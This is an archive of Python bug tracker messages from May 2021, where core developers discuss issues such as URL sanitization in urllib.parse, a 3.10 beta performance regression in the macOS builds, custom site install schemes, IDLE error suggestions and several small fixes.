13:26:45 2021 From: report at bugs.python.org (Seth Michael Larson) Date: Tue, 04 May 2021 17:26:45 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620149205.21.0.699731037727.issue43882@roundup.psfhosted.org> Seth Michael Larson added the comment: Leaving a thought here, I'm highlighting that we're now implementing two different standards, RFC 3986 with hints of WHATWG-URL. There are pitfalls to doing so as now a strict URL parser for RFC 3986 (like the one used by urllib3/requests) will give different results compared to Python and thus opens up the door for SSRF vulnerabilities [1]. [1]: https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf ---------- nosy: +sethmlarson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 13:26:33 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Tue, 04 May 2021 17:26:33 +0000 Subject: [issue44033] Adding multiple keys of the same name to a dict doesn't raise an exception In-Reply-To: <1620147095.86.0.59311867828.issue44033@roundup.psfhosted.org> Message-ID: <1620149193.29.0.661895885239.issue44033@roundup.psfhosted.org> Karthikeyan Singaravelan added the comment: Looks like a duplicate of https://bugs.python.org/issue16385 ---------- nosy: +xtreak _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 13:27:29 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Tue, 04 May 2021 17:27:29 +0000 Subject: [issue44034] Incorrect type casting of float into int In-Reply-To: <1620147513.11.0.38970557678.issue44034@roundup.psfhosted.org> Message-ID: <1620149249.27.0.336681492945.issue44034@roundup.psfhosted.org> Change by Shreyan Avigyan : ---------- versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 13:35:45 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Tue, 04 May 2021 17:35:45 +0000 Subject: [issue44033] Adding multiple keys of the same name to a dict doesn't raise an exception In-Reply-To: <1620147095.86.0.59311867828.issue44033@roundup.psfhosted.org> Message-ID: <1620149745.52.0.464661192072.issue44033@roundup.psfhosted.org> Shreyan Avigyan added the comment: I've read that issue but it seems that it actually was based on "Should there be a warning or error?". I actually suggest something different. I suggest that "Either raise an exception or just use the first key-value pair if the key is repeated during initialization". (By "initialization" I mean to say creating a new dict object) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 13:36:05 2021 From: report at bugs.python.org (Tim Peters) Date: Tue, 04 May 2021 17:36:05 +0000 Subject: [issue44034] Incorrect type casting of float into int In-Reply-To: <1620147513.11.0.38970557678.issue44034@roundup.psfhosted.org> Message-ID: <1620149765.06.0.537151622403.issue44034@roundup.psfhosted.org> Tim Peters added the comment: Please study the docs first: https://docs.python.org/3/tutorial/floatingpoint.html That will give you the background to understand why `int()` has nothing to do with this. >>> 1.9999999999999999 2.0 That is, `int()` was passed 2.0 to begin with, because the binary float closest to the decimal value 1.9999999999999999 is in fact 2.0. If you can't live with that, use the `decimal` module instead: >>> import decimal >>> int(decimal.Decimal("1.9999999999999999")) 1 ---------- nosy: +tim.peters resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 13:40:23 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 04 May 2021 17:40:23 +0000 Subject: [issue44025] Match doc: Clarify '_' as a soft keyword In-Reply-To: <1620093878.28.0.805814541074.issue44025@roundup.psfhosted.org> Message-ID: <1620150023.91.0.265788458498.issue44025@roundup.psfhosted.org> Terry J. Reedy added the comment: bedevere-bot malfunctioned. Lukasz merged PR 25873 into main, and I verified the change on the main branch. But the PR is listed above as closed, not merged, and commit 3b200b2aa648fcc8a2673871807c1463afe00195 is not listed. ---------- nosy: +Mariatta, lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 13:44:35 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 May 2021 17:44:35 +0000 Subject: [issue44035] Regenerating the configure script fails even if dependencies are satisfied In-Reply-To: <1620147514.31.0.864280114209.issue44035@roundup.psfhosted.org> Message-ID: <1620150275.65.0.825313106133.issue44035@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Yep, I am also setting ACLOCAL_PATH to make sure it picks it up. To be honest I think this has to be something about the weird setup in this machine but I think more people may run into this so it may be worth to include this in the News entry and close the issue once I figure it out ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 13:59:33 2021 From: report at bugs.python.org (Christian Heimes) Date: Tue, 04 May 2021 17:59:33 +0000 Subject: [issue44035] Regenerating the configure script fails even if dependencies are satisfied In-Reply-To: <1620147514.31.0.864280114209.issue44035@roundup.psfhosted.org> Message-ID: <1620151173.2.0.369438615768.issue44035@roundup.psfhosted.org> Christian Heimes added the comment: I got you covered: $ podman run -v.:/src:Z tiran/cpython_autoconf $ docker run -v.:/src tiran/cpython_autoconf ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 14:02:14 2021 From: report at bugs.python.org (Shatabarto Bhattacharya) Date: Tue, 04 May 2021 18:02:14 +0000 Subject: [issue44019] operator.call/operator.__call__ In-Reply-To: <1620051840.28.0.198895693226.issue44019@roundup.psfhosted.org> Message-ID: <1620151334.2.0.780960096847.issue44019@roundup.psfhosted.org> Change by Shatabarto Bhattacharya : ---------- nosy: +hrik2001 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 14:08:19 2021 From: report at bugs.python.org (Christian Heimes) Date: Tue, 04 May 2021 18:08:19 +0000 Subject: [issue44035] Regenerating the configure script fails even if dependencies are satisfied In-Reply-To: <1620147514.31.0.864280114209.issue44035@roundup.psfhosted.org> Message-ID: <1620151699.64.0.542101084081.issue44035@roundup.psfhosted.org> Christian Heimes added the comment: Container image definition is at https://github.com/tiran/cpython_autoconf I propose to test this a bit, get feedback, and then move the code and image to python infrastructure. I chose Alpine because it's the least controversial one. ---------- assignee: -> christian.heimes type: -> compile error versions: +Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 14:09:11 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 04 May 2021 18:09:11 +0000 Subject: [issue44026] IDLE doesn't offer "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620151751.27.0.490428278232.issue44026@roundup.psfhosted.org> Terry J. Reedy added the comment: I realized after posting that looking for close matching is a performance issue and does not need to be done unless the exception is going to be displayed. But it is a shame to keep such great work away from many users. What would you think of either 1. add sys.tracebackhook, to be called by the traceback display functions if not None. Then idlelib.run.print_exception would not have to duplicate the sometimes changing logic for chaining or otherwise joining multiple tracebacks into one mega-traceback. Instead, from what Dennis said above, it could set the hook and call the built-in exceptionhook. 2. add a new optional parameter to exceptionhook and the traceback display function. This would have the same advantage as above. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 14:19:14 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 04 May 2021 18:19:14 +0000 Subject: [issue44037] Broad performance regression from 3.10a7 to 3.10b1 Message-ID: <1620152354.35.0.099245224395.issue44037@roundup.psfhosted.org> New submission from Raymond Hettinger : Running Tools/scripts/var_access_benchmark.py on the production macOS builds on python.org shows a performance drop-off between alpha-7 and beta-1. Apple Silicon ------------- read local 4.1ns -> 4.5ns read non_local 4.1ns -> 4.6ns read global 4.2ns -> 4.9ns read builtin 4.2ns -> 5.3ns classvar from cls 10.1ns -> 12.6ns classvar from inst 9.5 11.7 read instvar 9.2 11.3 instvar with slots 5.8 8.2 namedtuple 11.1 14.2 ... Since the effects are seen in almost every category, I suspect a build problem, a change to the eval loop, or a failure to inline some of the shared functions that used to be macros. ---------- components: Build keywords: 3.10regression messages: 392934 nosy: rhettinger priority: normal severity: normal status: open title: Broad performance regression from 3.10a7 to 3.10b1 type: performance versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 14:22:49 2021 From: report at bugs.python.org (Irv Kalb) Date: Tue, 04 May 2021 18:22:49 +0000 Subject: [issue38946] IDLE on macOS 10.15 Catalina does not open double-clicked files if app already launched In-Reply-To: <1575141041.2.0.751349559914.issue38946@roundup.psfhosted.org> Message-ID: <1620152569.2.0.259169503182.issue38946@roundup.psfhosted.org> Irv Kalb added the comment: This is a quick follow up to the original issue. I am now running Mac OS X 11.2.3 with IDLE 3.9.1 (and pygame 2.0.1). In this environment, the issue of opening files is completely fixed and works perfectly. Thank you very much (and a big thank you from my students who rely on this set up every day). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 14:27:15 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 04 May 2021 18:27:15 +0000 Subject: [issue44037] Broad performance regression from 3.10a7 to 3.10b1 In-Reply-To: <1620152354.35.0.099245224395.issue44037@roundup.psfhosted.org> Message-ID: <1620152835.78.0.102108234566.issue44037@roundup.psfhosted.org> Raymond Hettinger added the comment: Here's the screen shot for Intel silicon running the python dot org macOS build on Big Sur 11.3.1: https://www.dropbox.com/s/7lmf74osvq5seg2/Screen%20Shot%202021-05-03%20at%208.41.52%20PM.png?dl=0 Here are the results on M1 Apple silicon with Big Sure 11.2.3: https://www.dropbox.com/s/u2w4tmv1alzybrt/Screen%20Shot%202021-05-03%20at%209.24.03%20PM.png?dl=0 ---------- nosy: +ned.deily, pablogsal, vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 15:19:16 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Tue, 04 May 2021 19:19:16 +0000 Subject: [issue44037] Broad performance regression from 3.10a7 to 3.10b1 In-Reply-To: <1620152354.35.0.099245224395.issue44037@roundup.psfhosted.org> Message-ID: <1620155956.53.0.661152476247.issue44037@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 15:29:30 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Tue, 04 May 2021 19:29:30 +0000 Subject: [issue44033] Adding multiple keys of the same name to a dict doesn't raise an exception In-Reply-To: <1620147095.86.0.59311867828.issue44033@roundup.psfhosted.org> Message-ID: <1620156570.77.0.339089965141.issue44033@roundup.psfhosted.org> Jelle Zijlstra added the comment: Looks like the same issue to me as the rejected issue that Karthikeyan mentioned. Changing it to use the first value is a non-starter because it would break compatibility. I'd suggest using a linter that warns about duplicate keys in literals; we implemented that internally. ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 15:36:44 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Tue, 04 May 2021 19:36:44 +0000 Subject: [issue44033] Adding multiple keys of the same name to a dict doesn't raise an exception In-Reply-To: <1620147095.86.0.59311867828.issue44033@roundup.psfhosted.org> Message-ID: <1620157004.17.0.332486861001.issue44033@roundup.psfhosted.org> Shreyan Avigyan added the comment: Ok. I'm closing this then. (I wasn't aware that this was an intended behavior.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 15:37:00 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Tue, 04 May 2021 19:37:00 +0000 Subject: [issue44033] Adding multiple keys of the same name to a dict doesn't raise an exception In-Reply-To: <1620147095.86.0.59311867828.issue44033@roundup.psfhosted.org> Message-ID: <1620157020.6.0.618146142721.issue44033@roundup.psfhosted.org> Change by Shreyan Avigyan : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 15:55:17 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 May 2021 19:55:17 +0000 Subject: [issue44026] IDLE doesn't offer "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620158117.67.0.394693194486.issue44026@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Those are intesting options, I will think about this. I am still afraid of adding more APIs in this area as having arbitrary Python getting call in the middle of handling the exceptions it can be quite tricky: think that we are handling an exception already so other exceptions can mess up stuff in very subtle ways or we need to ignore exceptions and that can also be dangerous. Another thing we could do is reproduce the feature in idle itself with a custom display hook, which would be easier as we can just use difflib. It would be slightly different than the built-in one but honestly I don't think that's a problem at all. I understand that other people may think differently so I am open minded as well. But I wanted to clarify what are my worries :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 15:55:55 2021 From: report at bugs.python.org (Steve Dower) Date: Tue, 04 May 2021 19:55:55 +0000 Subject: [issue44027] Python 3.9 UWP does not create key in PythonCore In-Reply-To: <1620102658.85.0.0860140751031.issue44027@roundup.psfhosted.org> Message-ID: <1620158155.22.0.154849258281.issue44027@roundup.psfhosted.org> Steve Dower added the comment: Correct. It does, however, write to the lookaside space, which Windows will map back if you access it. So reading HKLM\Software\Python\PythonCore\3.9 will return all the values that would be there. It's only enumeration that doesn't work. I've reported that to the team responsible, and they think it's not necessary, so I have no qualms about saying that you should *also* look in "SOFTWARE\\Microsoft\\AppModel\\Lookaside\\user\\Software\\Python\\PythonCore". (And if another redistributor also does a UWP package of Python, they'll have their own registry section for it to go into.) Not writing into shared registry locations is one of the *best* features of this form of packaging, so I'm not inclined to try too hard to break it. Overall the robustness and stability is worthwhile, so it'll just fall to tool developers to catch up a bit, or alternatively win over the team that could just fix it properly. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 16:02:01 2021 From: report at bugs.python.org (Steve Dower) Date: Tue, 04 May 2021 20:02:01 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1619713142.43.0.43081473036.issue43976@roundup.psfhosted.org> Message-ID: <1620158521.34.0.494096498476.issue43976@roundup.psfhosted.org> Steve Dower added the comment: The best option for restricting the import while still having it be a Python import is to find the file (if it's present in the expected location under sys.whatever), and then use importlib to import it: https://docs.python.org/3/library/importlib.html#importing-a-source-file-directly I'd rather not have a new option here, I would much prefer "-S" in this context to mean "run Python with only core libraries" and "-s" to mean "run Python with only core and distro libraries" (and neither to mean "run Python with core, distro and user libraries"). That may be a bigger change, but there's enough angst around this issue that we would be better off getting it right this time, even if it changes things, than continuing to preserve the system that people dislike so much. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 16:07:37 2021 From: report at bugs.python.org (Steve Dower) Date: Tue, 04 May 2021 20:07:37 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1619713142.43.0.43081473036.issue43976@roundup.psfhosted.org> Message-ID: <1620158857.89.0.579462586802.issue43976@roundup.psfhosted.org> Steve Dower added the comment: > I'd rather not have a new option here ... Perhaps what I'm suggesting here is that I don't see any reason for "sudo pip install ..." into a distro-installed Python to ever need to work, and would be quite happy for it to just fail miserably every time (which is already the case for the Windows Store distro of Python). Admin installed all-user packages is the expert scenario here, and can be as twisted as possible. Pip installed per-user packages and system-tool installed packages are the defaults, and the more easily those can be overridden by a file in the distro, the better. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 16:08:08 2021 From: report at bugs.python.org (Webb Scales) Date: Tue, 04 May 2021 20:08:08 +0000 Subject: [issue44038] In documentation Section 8.6, the definition of parameter_list need correcting Message-ID: <1620158888.72.0.734387137059.issue44038@roundup.psfhosted.org> New submission from Webb Scales : In Section 8.6 ("Function definitions"; https://docs.python.org/3/reference/compound_stmts.html#function-definitions), the definition of "parameter_list" looks slightly wrong: parameter_list ::= defparameter ("," defparameter)* "," "/" ["," [parameter_list_no_posonly]] | parameter_list_no_posonly The "/" (and the comma preceding it) is not a required component. (Sorry, I'm afraid I'm not smart enough right now to suggest a correction. :-p ) ---------- assignee: docs at python components: Documentation messages: 392943 nosy: docs at python, webbnh priority: normal severity: normal status: open title: In documentation Section 8.6, the definition of parameter_list need correcting versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 16:16:12 2021 From: report at bugs.python.org (Mike Lissner) Date: Tue, 04 May 2021 20:16:12 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620159372.71.0.1084229579.issue43882@roundup.psfhosted.org> Mike Lissner added the comment: I haven't watched that Blackhat presentation yet, but from the slides, it seems like the fix is to get all languages parsing URLs the same as the browsers. That's what @orsenthil has been doing here and plans to do in https://bugs.python.org/issue43883. Should we get a bug filed with requests/urllib3 too? Seems like a good idea if it suffers from the same problems. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 16:16:22 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Tue, 04 May 2021 20:16:22 +0000 Subject: [issue44026] IDLE doesn't offer "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620159382.88.0.0479058102113.issue44026@roundup.psfhosted.org> Dennis Sweeney added the comment: Another idea: do what test_exceptions() does: try: f() except NameError as exc: with support.captured_stderr() as err: sys.__excepthook__(*sys.exc_info()) self.assertNotIn("a1", err.getvalue()) Then instead of the assert, do something like last_line = err.getvalue().rsplit("\n", 2)[-2] _, did_you_mean, suggestion = last_line.rpartition("Did you mean: ") if did_you_mean: print(did_you_mean + suggestion) This can probably be done without test.support. ---------- _______________________________________ Python tracker _______________________________________ From mal at egenix.com Tue May 4 16:22:58 2021 From: mal at egenix.com (M.-A. Lemburg) Date: Tue, 4 May 2021 22:22:58 +0200 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1620158857.89.0.579462586802.issue43976@roundup.psfhosted.org> References: <1620158857.89.0.579462586802.issue43976@roundup.psfhosted.org> Message-ID: <6e7e06bb-2fc1-c959-e6ee-8d7ddbb371e1@egenix.com> On 04.05.2021 22:07, Steve Dower wrote: > > Perhaps what I'm suggesting here is that I don't see any reason for "sudo pip install ..." into a distro-installed Python to ever need to work, and would be quite happy for it to just fail miserably every time (which is already the case for the Windows Store distro of Python). The "pip install" into a root environment approach is the standard way to setup Docker (and similar) containers, so I think trying to break this on purpose will not do Python a good service. The pip warning about this kind of setup which apparently got added in one of the more recent versions of pip already is causing a lot of unnecessary noise when building containers and doesn't make Python look good in that environment. -- Marc-Andre Lemburg eGenix.com From report at bugs.python.org Tue May 4 16:23:08 2021 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Tue, 04 May 2021 20:23:08 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1620158857.89.0.579462586802.issue43976@roundup.psfhosted.org> Message-ID: <6e7e06bb-2fc1-c959-e6ee-8d7ddbb371e1@egenix.com> Marc-Andre Lemburg added the comment: On 04.05.2021 22:07, Steve Dower wrote: > > Perhaps what I'm suggesting here is that I don't see any reason for "sudo pip install ..." into a distro-installed Python to ever need to work, and would be quite happy for it to just fail miserably every time (which is already the case for the Windows Store distro of Python). The "pip install" into a root environment approach is the standard way to setup Docker (and similar) containers, so I think trying to break this on purpose will not do Python a good service. The pip warning about this kind of setup which apparently got added in one of the more recent versions of pip already is causing a lot of unnecessary noise when building containers and doesn't make Python look good in that environment. ---------- nosy: +lemburg _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 16:25:07 2021 From: report at bugs.python.org (paul j3) Date: Tue, 04 May 2021 20:25:07 +0000 Subject: [issue43942] RawDescriptionHelpFormatter seems to be ignored for argument descriptions In-Reply-To: <1619429345.55.0.132994171177.issue43942@roundup.psfhosted.org> Message-ID: <1620159907.93.0.0499665400817.issue43942@roundup.psfhosted.org> paul j3 added the comment: You test with RawDescriptionHelpFormatter, but quote from the RawTextHelpFormatter. ---------- nosy: +paul.j3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 16:29:31 2021 From: report at bugs.python.org (Steve Dower) Date: Tue, 04 May 2021 20:29:31 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1619713142.43.0.43081473036.issue43976@roundup.psfhosted.org> Message-ID: <1620160171.4.0.233565393077.issue43976@roundup.psfhosted.org> Steve Dower added the comment: Would "pip install --user ..." in a Docker container also work, though? Presumably all the filesystem paths are being redirected anyway, so is there a difference? (My assumption is that "--user" would essentially become the default if you're using the OS provided pip/Python. If you do your own build/install of it then you obviously get "default" behaviour, for better or worse.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 16:37:24 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 20:37:24 +0000 Subject: [issue40297] test_socket.CANTest is broken at HEAD on master In-Reply-To: <1587007502.68.0.180919322143.issue40297@roundup.psfhosted.org> Message-ID: <1620160644.47.0.617305911759.issue40297@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 1.0 -> 2.0 pull_requests: +24570 pull_request: https://github.com/python/cpython/pull/25902 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 16:37:29 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 20:37:29 +0000 Subject: [issue40297] test_socket.CANTest is broken at HEAD on master In-Reply-To: <1587007502.68.0.180919322143.issue40297@roundup.psfhosted.org> Message-ID: <1620160649.15.0.285752487321.issue40297@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24571 pull_request: https://github.com/python/cpython/pull/25903 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 16:45:29 2021 From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=) Date: Tue, 04 May 2021 20:45:29 +0000 Subject: [issue44024] Improve the error message for non-string second arguments passed to the built-in functions getattr and hasattr In-Reply-To: <1620082244.42.0.641033791104.issue44024@roundup.psfhosted.org> Message-ID: <1620161129.93.0.575217827857.issue44024@roundup.psfhosted.org> Change by G?ry : ---------- title: Use common TypeError message for built-in functions getattr and hasattr -> Improve the error message for non-string second arguments passed to the built-in functions getattr and hasattr _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 16:46:01 2021 From: report at bugs.python.org (Brad Larsen) Date: Tue, 04 May 2021 20:46:01 +0000 Subject: [issue44039] Duplicated assignment in Modules/_randommodule.c Message-ID: <1620161161.27.0.458428568695.issue44039@roundup.psfhosted.org> New submission from Brad Larsen : In Modules/_randommodule.c:600, `longval` is used in its own initialization. This seems to be a typo introduced in commit cc0cd43c0f9 for bpo-1635741. 585 static int 586 _random_exec(PyObject *module) 587 { 588 _randomstate *state = get_random_state(module); 589 590 state->Random_Type = PyType_FromModuleAndSpec( 591 module, &Random_Type_spec, NULL); 592 if (state->Random_Type == NULL) { 593 return -1; 594 } 595 if (PyModule_AddType(module, (PyTypeObject *)state->Random_Type) < 0) { 596 return -1; 597 } 598 599 /* Look up and save int.__abs__, which is needed in random_seed(). */ * 600 PyObject *longval = longval = PyLong_FromLong(0); 601 if (longval == NULL) { 602 return -1; 603 } 604 605 PyObject *longtype = PyObject_Type(longval); 606 Py_DECREF(longval); 607 if (longtype == NULL) { 608 return -1; 609 } 610 611 state->Long___abs__ = PyObject_GetAttrString(longtype, "__abs__"); 612 Py_DECREF(longtype); 613 if (state->Long___abs__ == NULL) { 614 return -1; 615 } 616 return 0; 617 } ---------- components: Extension Modules messages: 392949 nosy: blarsen, christian.heimes priority: normal severity: normal status: open title: Duplicated assignment in Modules/_randommodule.c versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 16:48:13 2021 From: report at bugs.python.org (Brad Larsen) Date: Tue, 04 May 2021 20:48:13 +0000 Subject: [issue44039] Duplicated assignment in Modules/_randommodule.c In-Reply-To: <1620161161.27.0.458428568695.issue44039@roundup.psfhosted.org> Message-ID: <1620161293.4.0.331761345009.issue44039@roundup.psfhosted.org> Change by Brad Larsen : ---------- keywords: +patch pull_requests: +24572 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25904 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 16:52:32 2021 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Tue, 04 May 2021 20:52:32 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1620160171.4.0.233565393077.issue43976@roundup.psfhosted.org> Message-ID: <5269203b-26e9-f04c-fc43-70e0d363ed4c@egenix.com> Marc-Andre Lemburg added the comment: On 04.05.2021 22:29, Steve Dower wrote: > > Would "pip install --user ..." in a Docker container also work, though? Presumably all the filesystem paths are being redirected anyway, so is there a difference? > > (My assumption is that "--user" would essentially become the default if you're using the OS provided pip/Python. If you do your own build/install of it then you obviously get "default" behaviour, for better or worse.) More modern Docker setups run the application itself under a non-root user, but still install the packages and other dependencies as root. See eg. Zammad's Dockerfile: https://github.com/zammad/zammad-docker/blob/master/Dockerfile Not sure whether that answers your question, though. It's rather uncommon to install venvs inside Docker containers: one of the main reasons for using containers is the added isolation, but it doesn't make a lot of sense to add another layer of isolation inside the container. "pip install as root" will need to continue to work and thus distros need to get a way to make sure that it doesn't corrupt the system installed packages. And perhaps distros can also patch pip to not output those silly warnings anymore when using the system pip package :-) Regarding the proposed solution: I'm not sure whether a new configure option is the right way to go about this. Distros could simply patch sysconfig.py, since that's the golden source of this information from Python 3.10 onward. setuptools' distutils version (and other packages which ship distutils) will have to use this information instead of the copy which is/was backed into distutils/sysconfig.py on Python 3.10+ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 16:58:06 2021 From: report at bugs.python.org (Steve Dower) Date: Tue, 04 May 2021 20:58:06 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1619713142.43.0.43081473036.issue43976@roundup.psfhosted.org> Message-ID: <1620161886.11.0.0496249448149.issue43976@roundup.psfhosted.org> Steve Dower added the comment: > "pip install as root" will need to continue to work and thus distros > need to get a way to make sure that it doesn't corrupt the system > installed packages Excuse my ignorance, but does "as root" imply that there's no user site-packages directory at all? I'm not imagining a solution that doesn't require *users* to change their commands, so if they're currently running "sudo pip install" because they need to, but we change it so they shouldn't, then I'm okay with them having to remove the "sudo". (At least for this discussion - we can evaluate transition plans separately.) And yeah, patching sysconfig.py seems easier. But then, adding a file to the distro is even easier, and if it's easiest for Linux distros to do that via configure than to add a copy step into their build (which is how I'll do it for Windows distros that need it), then I'll leave that to others to decide/implement. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 17:01:48 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 21:01:48 +0000 Subject: [issue40297] test_socket.CANTest is broken at HEAD on master In-Reply-To: <1587007502.68.0.180919322143.issue40297@roundup.psfhosted.org> Message-ID: <1620162108.89.0.611951092597.issue40297@roundup.psfhosted.org> miss-islington added the comment: New changeset 7b4725a210bcfe3dc65f37cbada423cbd1e9f063 by Miss Islington (bot) in branch '3.10': bpo-40297: Fix test_socket.CANTest.testSendFrame (GH-19548) https://github.com/python/cpython/commit/7b4725a210bcfe3dc65f37cbada423cbd1e9f063 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 17:03:55 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 21:03:55 +0000 Subject: [issue40297] test_socket.CANTest is broken at HEAD on master In-Reply-To: <1587007502.68.0.180919322143.issue40297@roundup.psfhosted.org> Message-ID: <1620162235.61.0.807911933462.issue40297@roundup.psfhosted.org> miss-islington added the comment: New changeset df99532a05e4cfba8d9835375d4a3830b84472ad by Miss Islington (bot) in branch '3.9': bpo-40297: Fix test_socket.CANTest.testSendFrame (GH-19548) https://github.com/python/cpython/commit/df99532a05e4cfba8d9835375d4a3830b84472ad ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 17:05:44 2021 From: report at bugs.python.org (Zachary Ware) Date: Tue, 04 May 2021 21:05:44 +0000 Subject: [issue40297] test_socket.CANTest is broken at HEAD on master In-Reply-To: <1587007502.68.0.180919322143.issue40297@roundup.psfhosted.org> Message-ID: <1620162344.84.0.223104210063.issue40297@roundup.psfhosted.org> Zachary Ware added the comment: Thanks for the thoroughly researched patch and your patience! Sorry it took so long to get it merged. ---------- nosy: +zach.ware resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 17:08:07 2021 From: report at bugs.python.org (Ned Deily) Date: Tue, 04 May 2021 21:08:07 +0000 Subject: [issue44037] Broad performance regression from 3.10a7 to 3.10b1 with python.org macOS binaries In-Reply-To: <1620152354.35.0.099245224395.issue44037@roundup.psfhosted.org> Message-ID: <1620162487.18.0.28656678059.issue44037@roundup.psfhosted.org> Ned Deily added the comment: Thanks for the report, Raymond, and for taking the time to check performance. I am able to reliably reproduce the slowdowns in the benchmark between the 3.10.0a7 and 3.10.0b1 versions provided by the macOS installers on python.org. A similar slowdown is seen on both Intel and Apple Silicon Macs running macOS 11.3.1. Doing a quick build from source, I see no similar large differences between 3.10.0a7 and 3.10.0b1 on either macOS (with XC 12.5 Clang 12.0.5) or on a Debian Linux VM (with GCC 10.2.1). So it does seem to a difference in how the two macOS installers were built. There were some changes in the build env and process between a7 and b1. I will investigate further and report back here. But, the good news is that, AFAICT, there is no reason to suspect a general Python performance regression on this benchmark between a7 and b1. ---------- assignee: -> ned.deily priority: normal -> critical title: Broad performance regression from 3.10a7 to 3.10b1 